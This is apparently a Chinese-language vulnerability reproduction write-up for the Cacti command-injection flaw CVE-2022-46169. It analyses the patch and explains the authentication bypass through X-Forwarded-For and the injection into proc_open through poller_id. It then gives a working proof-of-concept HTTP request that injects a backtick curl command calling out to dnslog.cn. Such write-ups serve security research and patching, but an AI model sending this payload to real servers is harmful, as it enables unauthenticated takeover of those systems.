漏洞复现-Cacti命令执行漏洞 (CVE-2022-46169)

1.漏洞描述

复制代码
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具,可为用户提供强大且可扩展的操作监控和故障管理框架。
复制代码
该漏洞存在于remote_agent.php文件中,未经身份验证的恶意攻击者可以通过设置HTTP_变量绕过身份验证,再通过构造特殊的$poller_id 参数来触发proc_open() 函数,成功利用此漏洞可在目标服务器上执行任意命令,获取服务器的控制权限。

2.影响版本

Cacti < 1.2.23

3.影响范围

4.漏洞分析

复制代码
我们先看补丁
复制代码
https://github.com/Cacti/cacti/commit/7f0e16312dd5ce20f93744ef8b9c3b0f1ece2216
复制代码
漏洞点主要存在于lib/functions.php、remote_agent.php
复制代码
分为登录绕过和命令注入

登录绕过

复制代码
我们先跟进 get_client_addr看看
复制代码
函数的作用是从 X-Forwarded-For等参数中获取值,filter_var 进行过滤,正确的地址就可以返回,X-Forwarded-For 参数可控,可以对其进行修改 
复制代码
接下来看remote_client_authorized函数的下半部分
复制代码
gethostbyaddr 对 client_addr 获取网络主机名,当 $client_name 与 $client_addr 不同时, 进入remote_agent_strip_domain 函数
复制代码
函数就是截取点号前面的值 大多数情况下,我们传进去的值为 127.0.0.1 时,就会返回 true 了 因此我们可以通过修改 X-Forwarded-For 来绕过这里的认证

命令注入

复制代码
我们先看一下修复记录
复制代码
跟进get_nfilter_request_var函数
复制代码
函数的作用是直接获取参数,没用过滤
复制代码
这里的 $local_data_ids也是传进来的值,可控。

接下来我们关注这里的 $items ,是从数据库的 poller_item 表中取出来的,默认为空。

接下来当 $items 有了数据并且他的成员中有一个 item 也是一个数组并且键为 action,值为 2 时,即可进入命令注入的漏洞所在

复制代码
在385 行有 proc_open可以命令执行。
复制代码
Poc:
复制代码
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+dnslog.cn` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

5. 修复建议

官方已经提供修复的版本,直接 github 下载即可
https://github.com/Cacti/cacti

相关推荐
网络安全研究所1 小时前
AI安全提示词注入攻击如何操控你的智能助手?
人工智能·安全
海心焱1 小时前
安全之盾:深度解析 MCP 如何缝合企业级 SSO 身份验证体系,构建可信 AI 数据通道
人工智能·安全
程序员哈基耄3 小时前
纯客户端隐私工具集:在浏览器中守护你的数字安全
安全
darkb1rd5 小时前
五、PHP类型转换与类型安全
android·安全·php
中科三方6 小时前
域名转移详细指南:流程、材料、注意事项和常见问题全解析
网络·安全
云小逸9 小时前
【nmap源码学习】 Nmap 源码深度解析:nmap_main 函数详解与 NSE 脚本引擎原理
网络协议·学习·安全
迎仔9 小时前
04-网络安全基础:数字世界的防盗门与守卫
网络·安全·web安全
MicroTech202510 小时前
微算法科技(NASDAQ :MLGO)量子测量区块链共识机制:保障数字资产安全高效存储与交易
科技·安全·区块链
意法半导体STM3210 小时前
【官方原创】FDCAN数据段波特率增加后发送失败的问题分析 LAT1617
javascript·网络·stm32·单片机·嵌入式硬件·安全
2501_9413297210 小时前
【校园安全】YOLO11-C3k2-DBB实现校园安全行为识别与异常检测系统
人工智能·安全·目标跟踪